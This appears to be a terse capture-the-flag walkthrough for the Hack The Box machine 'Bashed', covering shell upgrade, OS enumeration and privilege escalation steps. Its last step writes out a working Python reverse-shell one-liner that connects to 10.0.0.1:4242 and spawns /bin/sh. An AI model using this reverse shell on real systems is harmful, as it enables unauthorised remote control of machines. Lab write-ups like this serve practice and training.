Bashed HTB

  • We navigate to the above mentioned directory and find a bash terminal with user privileges where we can collect our flag from user.txt

  • We notice that we do not have full tty so we execute the following to gain full tty:

    python3 -c 'import pty; pty.spawn("/bin/bash")'
    (inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
  • After we gain full tty we find the linux version and other details using:

    (cat /proc/version || uname -a ) 2>/dev/null
    lsb_release -a 2>/dev/null # old, not by default on many systems
    cat /etc/os-release 2>/dev/null # universal on modern systems
  • Now we can rename it from php to unnamed mv hax.php hax and make it executable chmod +x hax

  • Using this cheatsheat https://swisskyrepo.github.io/InternalAllTheThings/cheatsheets/shell-reverse-cheatsheet/#perl we make a test.py file with: import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])

Last updated